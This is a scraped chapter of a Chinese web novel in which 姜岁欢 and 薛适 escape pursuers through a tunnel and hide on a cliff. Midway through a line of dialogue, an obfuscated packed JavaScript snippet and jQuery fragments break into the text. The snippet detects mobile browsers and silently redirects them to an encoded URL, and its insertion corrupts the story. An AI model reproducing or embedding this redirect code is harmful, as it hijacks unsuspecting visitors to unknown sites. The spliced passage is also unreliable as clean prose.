默认冷灰
24号文字
方正启体

10. 追兵

作者:很会炒饭本书字数:K更新时间:
    地下密道潮湿曲折,年久未修的甬道已经被蚕食地高低不平。


    姜岁欢只能扶着边壁的青砖缓缓前行。因着四周极为安静,她紧张到能听到自己剧烈锤动的心跳声。


    而回头看到男人云淡风轻、闲庭信步的样子,她忍不住感慨道:


    “阿郎真是临危不乱。


    不论所处何种境地,都能将身边的事物勘察地如此细致入微,还尚能保持风度。”


    “都能?我之前做得哪件事情,也勘察细致入微,令欢欢印象深刻了?”


    ......


    得到男人这般的回答,姜岁欢刚刚还扬起的细眉又垂了下来。忍不住怪自己这张嘴实在太快。


    这不,那人又挑起她话茬子里的漏洞来了。


    加之她一想到之前都将他身世的那个谎,圆的这么细致周到了,还能被他从中找出这么多处漏洞来给她添堵。


    姜岁欢只得负气扭头,在他看不见之处猛锤了两记墙,腹诽这男人可真难骗。


    看来以后连赞美他的话也得三缄其口了。


    还能不能再愉快地谈天说地了?


    要么她以后在他面前就做个哑子算了。


    然而心中虽从头到尾将他骂了个彻底,但是话真到嘴边了,她又换了一副腔调,


    “阿郎自是万事都思虑的周全的,嘿…嘿嘿。”


    好在这条路不长,没让薛适等到继续发问的机会,他们就走完了地道。


    冷风裹着几片落叶刮过姜岁欢的侧脸,略有几分刺痛。


    两人对着眼前一望无际的丛林相顾无言。密密麻麻的巨树堆聚在一起,宛若一张幽黑的深网,让人困顿迷茫。


    薛适向前了几步,伸手挥开了几段横亘枯枝,左右两侧各出现了两条羊肠小道。


    “朝这处走罢。”薛适将四周环顾了一圈后,指了指右侧那条道。


    “为何?明明左侧掩体更多,更利于我们躲藏吧。”姜岁欢发出了不同的见解。


    难得意见相悖,薛适扭过头,将目光落在了她的脸上,道:


    “你瞧这片丛林中每颗树树叶的生长方向。均是左侧叶稀,右侧叶繁。说明左侧朝北,右侧朝南。


    人向来趋暖而居,只要往南边走,运气好的话便会进入村落。只要到了人多的地方,他们必会心存忌惮,不敢再轻易动手。


    若是去了人少的地方,更利于他们放手施展不说,我们自己的生存问题也难以解决。”


    今夜天气不佳,虽说暂时停了蒙蒙细雨,天上也无半片晨星,但借着微弱的月光,薛适还是辨别出了方位,并最快速地做出了判断。


    “……你说的在理,确实得往南边走。”姜岁欢有些对他刮目相看了。


    原以为这人只是个不食人间烟火的富贵公子哥,没想到懂得比她这个落魄闲人还多。


    “今夜我们天时地利均未占到,得走快些了。”薛时清冷的声音响起。


    姜岁欢原还有些不明所以他这句话的意思,但无意间回头一瞥,一下就懂了何为天时地利未占。


    刚落过雨的泥地潮湿阴冷,只要是二人踏过的裸露黄土,便会留下几个不深不浅的印记。


    几簇被踩倒的小型灌木也像长了嘴般在泄密。只要留心细看,就能发现端倪。


    确实太过点背了些。


    然而怕什么来什么,姜岁欢将几缕散落的鬓发往上拨撩时,却发现头上似乎少了什么东西。


    原先锁住碎发的那根红豆排簪不见了!


    “糟了!我的簪子!”她大惊,瞬间心乱如丝。


    “什么簪子,快先走吧。”薛适不明白那物在她心中的地位,只当就是遗失了一寻常物件,拉着她就要走。


    “不行,那东西于我很是要紧,我一定要找到它。”


    姜岁欢说话时已然染上了几分哭腔。说出来的话虽柔柔软软的,但却满是执拗的劲。


    见她真要回去找,薛适冷着脸一把将她拦下,“你不要命了?”


    姜岁欢猛推了他一把,“你先走吧,我寻到了就来。”


    说完,便不带一丝犹豫地往回奔去。


    到底是什么时候丢的?


    姜岁欢只觉整个心脏都被一双大掌给捏住了,紧得她喘不过气。


    若是真将那物弄丢了……那她……


    不敢细想,她只能沿着旧路仔细摸索寻找。


    姜岁欢又独自回到了那幽曲地道,好在在地道出口旁边的角落就发现了一抹耀眼的反射光。


    “找到了。”她释然一笑,将排簪捡起后,宝贝地将它擦干净,才插回了发髻里。


    而她话音刚落,就发现地道的另一头,有火把的红暖光亮映在了墙上。


    糟糕,这么快就追来了。


    她正欲扭头向前跑,却听到一声急迫的低喝,“快趴下。”


    是薛适。


    姜岁欢虽然不明白他为什么要让她这样做,但因着连日来相处的默契与对他的信任,她不带任何犹豫地立马匍匐在地。


    然后,三根利剑擦破寂静的空气,从隧洞而出,又直直冲入了深不见底的丛林之中。


    她抬头的那瞬,眼中只捕捉到了那不停震颤的箭尾红翎,随即那些箭矢便不见了踪影。


    只差一点点,她就要被射中了。


    “快走。”


    姜岁欢还未反应过来,便觉得身体一轻,随后被一坚实臂膀揽起。


    身后追兵的喊叫与暴喝声越逼越近。


    她却头脑一片空白地被薛适强行带着走。


    她忽地抬头望向那个光风霁月,无论遇到什么事情都泰然处之的男人。此刻他正紧绷着下颌,略显吃力地拖着她逃跑。


    两滴薄汗顺着他侧脸滴落。


    姜岁欢的内疚之意顿时如潮水般袭来,淹没了她。


    第二次了,因着她的私欲,她又差点害了自己,也害了他。


    “我自己跑吧,还能快些。”姜岁欢将自己从他的桎梏中抽身出来。


    因着刚刚在泥泞的湿土中趴过,此刻她的衣衫已经被脏水浸湿,带着土腥味的污水扑湿了她煞白的小脸。


    男人不带任何温度地睨了她一眼,眼神不着痕迹从她头顶上的那根红豆排簪掠过,“加些速度,他们越来越近了。”


    两人不知跑了多久,姜岁欢的锦履早已被粗糙的泥石路磨平穿动,柔制的外裳都被四周的荆棘给刮得疮痍满目。


    足底和双臂都传来沁着霜寒的刺骨疼痛,她终是受不住,停下来身躯喘着粗气。


    “阿郎,我撑不住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105898|163869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。你别管我了,你先逃吧。”


    她踉跄地倚着身边一粗砺的古树枝干滑坐倒地,不再起身。


    “一点都走不动了?”男人眉心微皱,想来是低估了她的娇气劲。


    “一点都走不动了。”姜岁欢累到连点头的力气都无了。


    死了便死了吧,反正她已经身处炼狱了。最后是被乱箭射死,还是被薛鸣銮折磨死,抑或是被那残暴未婚夫给打死,区别都不大。


    倒不如今天就死在这处,一了百了,还算走得痛快。


    男人讳莫如深地看着她,只见她伸手摸了摸脑袋上的那根簪子,安然地闭上了眼,一副视死若归的做派。


    心中没由来地烦躁。


    “东南方位有一断层崖,你敢随我跳吗?”


    眼皮还没闭几秒,男人的话就如同一颗惊雷般在她耳旁炸开。


    他想轻生?


    姜岁欢大惊,“虽然我的确是跑不动了,但你也没必要同我一起殉情吧。


    你的人生还一片光明,没必要只守着我一个不放啊。”


    男人像是听到了什么好笑的话,嗤笑一声道,


    “我的意思是,可以抓着枯树藤条暂时在那断崖处躲一躲。”


    “……”


    姜岁欢尬笑两声,撑着树干站立了起来,“那还等什么,赶紧跳吧,莫要耽误了。”


    薛适,“……”


    赶在追兵到来前的须臾,二人在各自腰间绑上了跟老树藤条,朝断崖处跳了下去。


    随着头顶处越来越清晰的脚步声传来,薛适伸出一根手指竖压于唇中,示意她不要出声。


    “奇怪,脚印怎得在这处断了?”


    “莫非他们跳崖了?”


    为首的追兵举着火把就朝崖边走来,他将火把举出断崖,伸头朝下面张望。


    因着靠近崖壁,几块碎石随着男人徘徊的动作滚落而下,擦过两人的躯体往下掉。


    惊得姜岁欢的心怦怦直跳。


    从来未经历过这般场景的她,只觉得手脚冰凉,眼不能转,好似整个躯干也都不是她自己的了。


    好在天太黑,那追兵除了一颗长在悬崖断臂上的一棵岩松的残影外,什么都没看见。


    “这两人诡计多端,或许崖边的脚印也是他们布的障眼法,让我们误以为他们跳崖。应是早朝另一处跑了。”


    头顶众人一阵商议后,最终选择继续往南深追。


    随着脚步声渐渐走远,姜岁欢这才敢继续大口呼气道,“他们走了,我们上去罢。”


    薛适却朝她摇头道,“不急,他们还未走远。”


    正当二人翘首以待之际,崖顶突然传来一阵噼啪断裂声响。


    姜岁欢还搞不清楚发生了什么,却看见身边的男人突然急急地往下坠。


    她下意识得伸出手抓握住他向上求援的手掌。


    直到系在男人腰间的那根老树枯藤失去韧性全然断裂,不堪重负得从头顶坠入崖下,姜岁欢才惊觉发生了什么。


    好在男人反应敏捷,左手抓住她的手臂,右手握住了岩缝中的一簇多年草根,这才没有摔落下去。


    看着男人因抓握而青筋暴起的手臂和关节处咯拉响声,她知道他快撑不住了。


    现在该怎么办!?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)